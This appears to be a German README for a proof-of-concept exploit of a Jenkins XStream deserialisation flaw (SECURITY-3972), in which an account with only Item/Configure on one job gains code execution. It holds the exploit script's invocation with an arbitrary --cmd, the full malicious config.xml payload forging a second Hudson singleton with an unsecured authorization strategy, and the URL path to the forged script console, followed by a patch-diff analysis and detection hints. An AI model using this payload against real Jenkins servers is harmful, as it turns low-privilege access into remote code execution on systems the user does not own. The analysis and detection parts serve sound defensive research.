
Jenkins PersistenceRoot-Deserialisierung RCE (SECURITY-3972) — PoC & Analyse. Erfordert Item/Configure; betrifft wöchentlich <= 2.579 / LTS <= 2.568.2
PoC für die Jenkins-Deserialisierungsschwachstelle, die am 02.09.2026 behoben wurde (Advisory). Ein Konto mit niedrigen Rechten, das Item/Configure für einen beliebigen einzelnen Job besitzt, kann dies in die Ausführung beliebigen Codes als Jenkins-OS-Benutzer umwandeln.
| Betroffen | Jenkins weekly ≤ 2.579, LTS ≤ 2.568.2 |
| Behoben | weekly 2.580, LTS 2.568.3 |
| Voraussetzung | authentifiziert, Item/Configure für ≥ 1 Job |
| Auswirkung | RCE als Jenkins-Dienstkonto |
| CVSS | 8.8 (Hoch) |
Nur für autorisierte Sicherheitsforschung an verwundbaren Testinstanzen.
pip install requests
python3 exp.py --url http://<target>:<port> --user <user> --password <pass> [--job <name>] --cmd id
Das Skript prüft, ob das Konto keine Skriptberechtigung besitzt (erwartet 403), übermittelt die manipulierte config.xml und leitet dann über den injizierten Objektgraphen zu einer Script Console weiter, deren ACL vom Angreifer kontrolliert wird.
Zwei seit langem bestehende Verhaltensweisen des Jenkins-XStream-Stacks (hudson.util.XStream2 / RobustReflectionConverter) wirken zusammen:
PersistenceRoot-Subtyp typisiert ist, wurde wie ein normales Objekt unmarshalled. Da XStream über Unsafe.allocateInstance instanziiert (kein Konstruktor), konnte ein Angreifer ein zweites hudson.model.Hudson-Singleton mit beliebigen Feldwerten fälschen — einschließlich authorizationStrategy.FingerprintAction.build, Run.project, AbstractItem.parent), sind transient, sodass injizierte Objekte über HTTP erreichbar werden — die Formulierung „subsequently handle HTTP requests via Stapler" des Advisories.POST /job/<job>/config.xml (benötigt nur Item/Configure) injiziert in die <actions> des Jobs:
<actions>
<hudson.tasks.Fingerprinter_-FingerprintAction>
<build class="hudson.model.FreeStyleBuild"> <!-- PersistenceRoot verschachtelt (Fehler 1); transientes Feld (Fehler 2) -->
<project class="hudson.model.FreeStyleProject"> <!-- Run.project: protected final transient -->
<parent class="hudson.model.Hudson"> <!-- AbstractItem.parent: transient; gefälschtes 2. Jenkins -->
<authorizationStrategy class="hudson.security.AuthorizationStrategy$Unsecured"/>
</parent>
<name>...</name>
<properties/> <!-- vermeidet NPE in Job.getOverrides() -->
</project>
</build>
<record/>
</hudson.tasks.Fingerprinter_-FingerprintAction>
</actions>
Stapler leitet die Anfrage dann in den gefälschten Graphen:
| URL-Segment | Löst auf zu | Codepfad |
|---|---|---|
/job/<job>/fingerprints | injizierte FingerprintAction | urlName == "fingerprints" + Actionable.getDynamic() |
/run | gefälschtes FreeStyleBuild | FingerprintAction.getRun() liest transientes build |
/parent | gefälschtes FreeStyleProject | Run.getParent() liest final transient project |
/parent | gefälschtes hudson.model.Hudson | AbstractItem.getParent() liest transientes parent |
/scriptText | Script Console der gefälschten Instanz | Jenkins.doScriptText() → _doScript(..., getACL()) |
Die Autorisierungsumgehung: doScriptText prüft ADMINISTER gegen die Instanz, die die Anfrage empfangen hat, d. h. getACL() des gefälschten Hudson, das aus seinem eigenen authorizationStrategy-Feld abgeleitet wird — AuthorizationStrategy$Unsecured gewährt alles. Die Autorisierungsstrategie des echten Controllers wird nie einbezogen. Da während der Deserialisierung kein Konstruktor ausgeführt wird, greifen Feldinitialisierer nicht; das Payload muss authorizationStrategy (und properties) explizit setzen.
Diffing jenkins-2.579 → jenkins-2.580:
RobustReflectionConverter.doUnmarshal weigert sich nun, einen PersistenceRoot-Subtyp in ein verschachteltes Feld zu unmarshallen (CriticalXStreamException: „PersistenceRoot objects are document roots and must not appear as nested field values"), und erlaubt nur drei sichere Formen: XStream-reference=-Rückverweise, nicht-persistente resolves-to-Replacer (Run$Replacer, User$Replacer, …) und skalare Referenzen mit Einzelwert-Konvertern.@XStreamNotDeserializable- / @XStreamDeserializable-Annotationen plus TRANSIENT_FIELD_STRICT_MODE verschärfen das Unmarshalling transienter Felder pro Feld.Jenkins.readResolve() weigert sich nun, ein zweites Jenkins-Singleton zu deserialisieren, und erhielt einen writeReplace()-Replacer.test/src/test/java/jenkins/security/Security3972Test.java, Security3972QueueRestartTest.java.POST /job/*/config.xml-Payloads mit verschachteltem Fingerprinter_-FingerprintAction / hudson.model.Hudson oder Anfragen an /job/*/fingerprints/run/parent/parent/scriptText.config.xml-Dateien auf Verunreinigung untersuchen.